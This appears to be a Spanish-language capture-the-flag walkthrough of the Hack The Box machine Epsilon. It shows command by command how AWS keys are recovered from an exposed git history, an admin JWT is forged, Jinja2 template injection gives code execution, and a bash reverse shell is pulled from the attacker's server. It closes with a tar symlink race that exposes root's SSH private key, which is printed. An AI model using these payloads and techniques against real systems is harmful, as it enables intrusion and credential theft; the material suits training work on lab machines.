Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Epsilon, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema.
- Obtención de repositorio git.
- Enumeración de AWS.
- Descubrimiento de funciones lambda del servidor.
- Creación de un JWT.
- Bypass del panel de login.
- SSTI.
- Abuso de symlink.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.11.134
PING 10.10.11.134 (10.10.11.134) 56(84) bytes of data.
64 bytes from 10.10.11.134: icmp_seq=1 ttl=63 time=149 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS -open --min-rate 5000 10.10.11.134 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p22,80,5000 10.10.11.134 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos observar 2 servidores http, utilizando la herramienta whatweb
vamos a ver si podemos sacar un poco de información extra:
1
2
3
whatweb 10.10.11.134
http://10.10.11.134 [403 Forbidden] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.134], Title[403 Forbidden]
1
2
3
whatweb 10.10.11.134:5000
http://10.10.11.134:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.134], PasswordField[password], Python[3.8.10], Script, Title[Costume Shop], Werkzeug[2.0.2]
Para la primera web no podemos ver mucho y la segunda web está utilizando python, lo que es interesante para pensar en futuros ataques que podríamos intentar.
Vamos a revisar la web que está en el puerto 5000:
Vemos un panel de autenticación, sin embargo, por el momento no tenemos niguna credencial que nos pueda servir y las típicas no funcionan.
Explotación
Antes de intentar las injecciones vamos a revisar un archivo interesante que está en nuestra captura de nmap
, el repositorio de git, para ello vamos a utilizar la herramienta git_dumper
, disponible en github :
1
python3 git_dumper.py http://10.10.11.134/.git pagina
En este caso vamos a guardar toda la información en la carpeta pagina. Luego de esperar a que termine la ejecución de la herramienta vamos a ver que ha encontrado:
1
2
3
ls
server.py track_api_CR_148.py
Tenemos dos scripts en python, vamos a revisarlos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
El primer código podemos ver que corresponde al servidor, en este caso está utilizando Flask, lo cual es interesante pues podría ser vulnerable a SSTI. Luego, podemos observar las rutas de la página, las cuales verifican la existencia de un JWT (Json Web Token), podríamos contruir este JWT para utilizarlo para ingresar a la web, sin embargo, no disponemos del “secret”.
Vamos a revisar el segundo script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
Observamos que está utilizando aws, el cual se está conectando a un endpoint llamado cloud.epsilon.htb, al final del código podemos observar la utilización de funciones lambda, las cuales según la página oficial de aws son “un servicio informático que permite ejecutar código sin aprovisionar ni administrar servidores.”, por lo tanto, podemos pensar que está ejecutando código por detrás, vamos a buscar alguna forma de encontrar esta función lambda. Para ello vamos a utilizar el servicio de aws-cli, vamos a descargarlo desde la página_oficial de AWS:
1
2
3
aws --version
aws-cli/2.11.0 Python/3.11.2 Linux/6.0.0-kali6-amd64 exe/x86_64.kali.2022 prompt/off
Luego, teniendo ya listo lo anterior, vamos a intentar conectarnos al endpoint que vimos anteriormente, el primer paso corresponde agregar esta dirección en el /etc/hosts para que pueda resolver correctamente a la IP:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.134 epsilon.htb cloud.epsilon.htb
Con esto listo, necesitamos configurar nuestra sesión, para ello haremos lo siguiente:
1
2
aws configure
AWS Access Key ID [None]:
Vemos que está pidiendo un AWS access key ID, la cual no disponemos, sin embargo, si volvemos al código en python podemos ver que se mencionan:
1
2
3
4
5
6
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
Pero no están allí, aunque tenemos que recordar que estamos en un repositorio de git, puede darse el caso en que versiones anteriores del proyecto podamos encontrar información sobre esto, para ello hacemos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000
Fixed Typo
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000
Updatig Tracking API
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
Observamos todos los commit disponibles del proyecto, vemos uno interesante llamado Adding Tracking API Module, el cual fue antes que lo actualizaran asi que vamos a ver que encontramos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+ aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+ aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ region_name='us-east-1',
+ endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')
+
Vemos las key, por lo tanto, vamos a intentar utilizarlas para configurar la sesión e intentar conectarnos al endpoint para enumerar las funciones lambda:
1
2
3
4
5
6
aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]: json
Tenemos listas las credenciales, vamos a intentar conectarnos al endpoint, si vemos el panel de ayuda:
1
2
3
4
5
6
GLOBAL OPTIONS
--debug (boolean)
Turn on debug logging.
--endpoint-url (string)
Tenemos un parámetro para el endpoint, vamos a utilizarlo:
1
2
3
4
5
6
7
8
9
10
aws --endpoint-url=http://cloud.epsilon.htb
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: command
Vemos que necesitamos ingresar un comando, para ello vamos a hacer caso y buscaremos en la sección de ayuda:
1
o lambda
Vemos que hay un comando lambda, vamos a utilizarlo:
1
2
3
4
5
6
7
8
9
10
aws --endpoint-url=http://cloud.epsilon.htb lambda
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: operation
Vamos a buscar formas de enumerar las funciones lambda en el panel de ayuda:
1
o list-functions
Vemos un comando llamado list-functions, esto es lo que necesitamos para ver qué funciones lambda se están ejecutando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2023-03-04T20:19:54.134+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "be8c779f-bcbd-44ee-abbd-905c32d7aece",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
Vemos que existe una función lambda llamada costume_shop_v1, como ya tenemos el nombre de la función lambda que se está aplicando vamos a intentar ver qué tiene dentro, para ello vamos a buscar en el panel de ayuda:
1
o get-function
Encontramos el comando get-function, vamos a utilizarlo:
1
2
3
4
5
6
7
8
9
10
ws --endpoint-url=http://cloud.epsilon.htb lambda get-function
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: --function-name
Pero claro, tenemos que especificarle qué función queremos obtener asi que buscaremos en el panel de ayuda:
1
2
3
4
OPTIONS
--function-name (string)
The name of the Lambda function, version, or alias.
Name formats
Vemos que existe –function-name, así que vamos a utilizar este parámetro para definir el nombre de la función:
1
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2023-03-04T20:19:54.134+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "be8c779f-bcbd-44ee-abbd-905c32d7aece",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
Encontramos la localización de esta función, vamos a obtenerla:
1
wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
Luego, vemos el resultado:
1
2
3
file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate
Tenemos un archivo zip, vamos a descomprimirlo:
1
2
3
unzip code
Archive: code
inflating: lambda_function.py
Veamos que contiene este script en python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
Aquí podemos ver la función que se está empleando, y vemos algo que necesitabamos anteriormente, tenemos el secret, con esto podemos creanos un JWT para poder logearnos en la web sin necesidad de ingresar la contraseña, por lo tanto, vamos a crear este token con python:
1
2
3
4
import jwt
secret='RrXCv`mrNe!K!4+5`wYq'
print(jwt.encode({"username":"admin"},secret,algorithm="HS256"))
Si lo ejecutamos:
1
2
3
python3 py.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
Vemos que hemos creado el token, vamos a intentar logearnos en la web, para ello cambiaremos nuestra cookie de sesión por el JWT:
Vamos a agregar un nuevo item:
Si nos fijamos en el server.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
Tenemos que el nombre de la cookie es auth, así que vamos a agregarle ese nombre y dentro de value ingresamos el JWT:
Con esto listo, vamos a intentar ingresar a /home, pues es donde se nos redirige:
Vemos que ha funcionado correctamente y estamos logeados como el usuario admin dentro de la web.
Vamos a inspeccionar la web para ver que encontramos:
Dentro de la sección de ordenes podemos este panel, vamos a hacer algunas pruebas:
Enviamos:
Vemos que se ha registrado nuestra orden de glasses, vamos a analizar esto por Burpsuite
:
Vemos que existe un parámetro que se envía con el nombre del producto que queremos comprar, vamos a ver si podemos cambiarlo:
Vemos que nuetro imput se puede ver en la web, esto nos abre la posibilidad a lo escrito anteriormente, veremos si es vulnerable a SSTI, pues se está utilizando Flask, por lo tanto, podría ser vulnerable:
Efectivamente, es vulnerable a SSTI, si vamos al github de PayloadsAllTheThings encontramos bastante información sobre SSTI, como estamos trabajando con python utilizaremos jinja2 como en ocasiones anteriores, utilizaremos este (sin el backslash):
1
{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Vemos que tenemos RCE, vamos a ganar acceso al sistema, esto lo realizaremos como siempre. En primer lugar, tendremos el siguiente archivo llamado index.html:
1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1
El cual nos permitirá ganar acceso al sistema, vamos a compartir este archivo a través de un servidor http con python, y desde la máquina víctima haremos una petición a este archivo y luego lo ejecutaremos para ganar acceso mediante nuestro netcat en escucha, vamos al Burpsuite
:
Si enviamos la petición y vemos nuestro servidor de python:
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.134 - - [04/Mar/2023 23:22:08] "GET / HTTP/1.1" 200 -
Vemos una petición, si vamos a nuestro listener:
1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.134] 57430
bash: cannot set terminal process group (948): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ whoami
whoami
tom
Hemos ganado acceso a la máquina, vamos a buscar la flag de usuario:
1
2
3
tom@epsilon:~$ cat user.txt
cat user.txt
68dbffa66652ccd6a97
¡Bien!, tenemos la flag, ahora debemos escalar privilegios.
Escalada de privilegios
El primer paso será arreglar la terminal, para ello vamos a ejecutar los siguiente comandos:
- script /dev/null -c bash
- control + z
- stty ray -echo; fg
- reset xterm
- export TERM=xterm
- export SHELL=bash
- stty rows X columns Y (dependiendo de tu stty size)
De esta forma obtenemos una tty más cómoda.
Bien, vamos a ver los privilegios que tenemos dentro de la máquina:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tom@epsilon:/home$ sudo -l
[sudo] password for tom:
tom@epsilon:/home$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
No tenemos la contraseña del usuario asi que no podemos ver los privilegios, no encontramos nada extraño en los permisos SUID, vamos a ignorar el pkexec que está allí.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
No vemos a tareas cron por aquí.
Vamos a utilizar una herramienta llamada pspy que nos ayudará a encontrar procesos que se estén ejecutando por parte de root en el sistema, vamos a clonar el repositorio y compilarlo:
1
2
3
4
sudo /usr/local/go/bin/go build -ldflags "-s -w" .
go: downloading github.com/spf13/cobra v1.4.0
go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
Luego, abrimos un servidor http con python y desde la máquina víctima descargarmos el archivo:
1
2
3
4
5
6
7
8
9
10
11
12
13
tom@epsilon:/tmp$ wget http://10.10.14.17/pspy
--2023-03-05 04:48:17-- http://10.10.14.17/pspy
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3252224 (3.1M) [application/octet-stream]
Saving to: ‘pspy’
pspy 100%[===================>] 3.10M 1.33MB/s in 2.3s
2023-03-05 04:48:19 (1.33 MB/s) - ‘pspy’ saved [3252224/3252224]
tom@epsilon:/tmp$ ls
pspy
Le damos permisos se ejecución y lo ejecutamos:
1
tom@epsilon:/tmp$ chmod +x pspy
1
2
3
tom@epsilon:/tmp$ ./pspy
./pspy: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./pspy)
./pspy: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./pspy)
Sin embargo, no nos ha funcionado, vamos a solucionarlo buscando los binarios en el github de la herramienta:
Vamos a descargar el pspy64 y lo vamos a compartir de la misma forma con el servidor http:
1
2
3
4
5
6
7
8
9
10
11
12
13
tom@epsilon:/tmp$ wget http://10.10.14.17/pspy64
--2023-03-05 04:58:39-- http://10.10.14.17/pspy64
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 1.28MB/s in 2.3s
2023-03-05 04:58:42 (1.28 MB/s) - ‘pspy64’ saved [3104768/3104768]
tom@epsilon:/tmp$ chmod +x pspy64
tom@epsilon:/tmp$ ./pspy64
Y ahora:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
spy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
Mientras se ejecuta vemos algo interesante:
1
2
3
4
5
2023/03/05 04:59:01 CMD: UID=0 PID=10156 | /bin/bash /usr/bin/backup.sh
2023/03/05 04:59:01 CMD: UID=0 PID=10157 | /usr/bin/tar -cvf /opt/backups/606036422.tar /var/www/app/
2023/03/05 04:59:01 CMD: UID=0 PID=10159 | /bin/bash /usr/bin/backup.sh
2023/03/05 04:59:01 CMD: UID=0 PID=10158 | /bin/bash /usr/bin/backup.sh
2023/03/05 04:59:01 CMD: UID=0 PID=10160 | /bin/bash /usr/bin/backup.sh
Vemos que root está ejecutando el archivo backup.sh, vamos a ver que es:
1
2
3
4
5
6
7
8
9
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
Vemos que en primer lugar borra todo lo existente en /opt/backups, luego de esto crea un archivo .tar que tendrá dentro todo lo que está en /var/www/app, luego envía el hash de este archivo tar a la ruta /opt/backups/checksum. Podemos ver que finalmente utiliza tar para comprimir el archivo con el checksum creado junto con el mismo archivo tar inicial, lo importante aquí es una flag que está utilizando la cual es -h, esta permite hacer un seguimiento del los enlaces simbólicos, lo que nos va a permitir hacer lo siguiente.
Como podemos eliminar y crear el archivo checksum, lo que haremos será que mientras que el código esté en el sleep 5, borraremos el archivo checksum y lo reemplazaremos por otro, el cual tendrá un symlink hacia la id_rsa de root, dentro del directorio /root/.ssh, de esta forma vamos a tener un nuevo archivo tar final modificado, el cual al descomprimirlo, entregará los datos comprimidos de /var/www/app/ y el checksum, sin embargo, el checksum ya no será el sha1 del código original, sino que será la id_rsa de root pues la flag -h realiza el seguimiento al symlink.
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
while true; do
if [ -e /opt/backups/checksum ]; then
rm /opt/backups/checksum
ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
echo "finalizado"
break
fi
done
Para ello este script en bash borrará cualquier checksum que llegue y lo reemplazará por otro archivo llamado checksum que tendrá un symlink hacia la id_rsa de root. Vamos a ejecutarlo:
1
2
3
4
5
6
7
8
tom@epsilon:/tmp$ ./test.sh
rm: remove write-protected regular file '/opt/backups/checksum'? y
finalizado
tom@epsilon:/tmp$ cd /var/backups/web_backups
tom@epsilon:/var/backups/web_backups$ ls
224789875.tar 259999126.tar
tom@epsilon:/var/backups/web_backups$ cp 259999126.tar /tmp
tom@epsilon:/var/backups/web_backups$ cd /tmp
Copiamos el último tar creado y lo llevamos a tmp para descomprimirlo:
1
tom@epsilon:/tmp$ tar -xf 259999126.tar
Si vemos el archivo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
tom@epsilon:/tmp$ cd opt
tom@epsilon:/tmp/opt$ ls
backups
tom@epsilon:/tmp/opt$ cd backups/
tom@epsilon:/tmp/opt/backups$ ls
245036605.tar checksum
tom@epsilon:/tmp/opt/backups$ cat checksum
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr
QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE
SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0
1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF
u0DPZ0V8ckuh0o+Lm64PFXlSyOFcb/1SU/wwid4i9aYzhNOQOxDSPh2vmXxPDkB0/dLAO6
wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry1O7Tr
oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2
EAAAGBANcNuldqL5jKXkgg2rjapbDxy7Uz/HSPB7kOMhmN46Gfc09TaHiHRdei/+/S950h
cAF3ZlLawiGbgTY15kQTM6enrkI1Dwf+ucivcPKYnl3sG1mepV9ZesBzcoK0BWnCTruI7v
r1yPwVQeN5r6l134FEKppGOtoJiJn+MYT+EVsBwjklPJwyb9rNvorDHmCFxEgfJdcFj/RI
j6NDVpSfFj3tp84kgevL2Y0EucsS0bUL5Er6RwalvdH6x1paRtXl1SvEvQdNT7hKMUI0tH
zQEmds4RvEydVwGpsU92LjoV9iurLB9+llWEizhf9ig5WbGycscBtFfEJIBbtAz2dFfHJL
odKPi5uuDxV5UsjhXG/9UlP8MIneIvWmM4TTkDsQ0j4dr5l8Tw5AdP3SwDusAZTmpGLM67
lSzJJ4D/PUDiiyBmrJsyFPNeiirn1HS0hXM4oPemlUcXhXFQB4Ita8tTu066AiCXsIb7If
CP5HpgITR48Ld4phrpVJpSMP7NXKXQAAAAMBAAEAAAGBAMULlg7cg8oaurKaL+6qoKD1nD
Jm9M2T9H6STENv5//CSvSHNzUgtVT0zE9hXXKDHc6qKX6HZNNIWedjEZ6UfYMDuD5/wUsR
EgeZAQO35XuniBPgsiQgp8HIxkaOTltuJ5fbyyT1qfeYPqwAZnz+PRGDdQmwieIYVCrNZ3
A1H4/kl6KmxNdVu3mfhRQ93gqQ5p0ytQhE13b8OWhdnepFriqGJHhUqRp1yNtWViqFDtM1
lzNACW5E1R2eC6V1DGyWzcKVvizzkXOBaD9LOAkd6m9llkrep4QJXDNtqUcDDJdYrgOiLd
/Ghihu64/9oj0qxyuzF/5B82Z3IcA5wvdeGEVhhOWtEHyCJijDLxKxROuBGl6rzjxsMxGa
gvpMXgUQPvupFyOapnSv6cfGfrUTKXSUwB2qXkpPxs5hUmNjixrDkIRZmcQriTcMmqGIz3
2uzGlUx4sSMmovkCIXMoMSHa7BhEH2WHHCQt6nvvM+m04vravD4GE5cRaBibwcc2XWHQAA
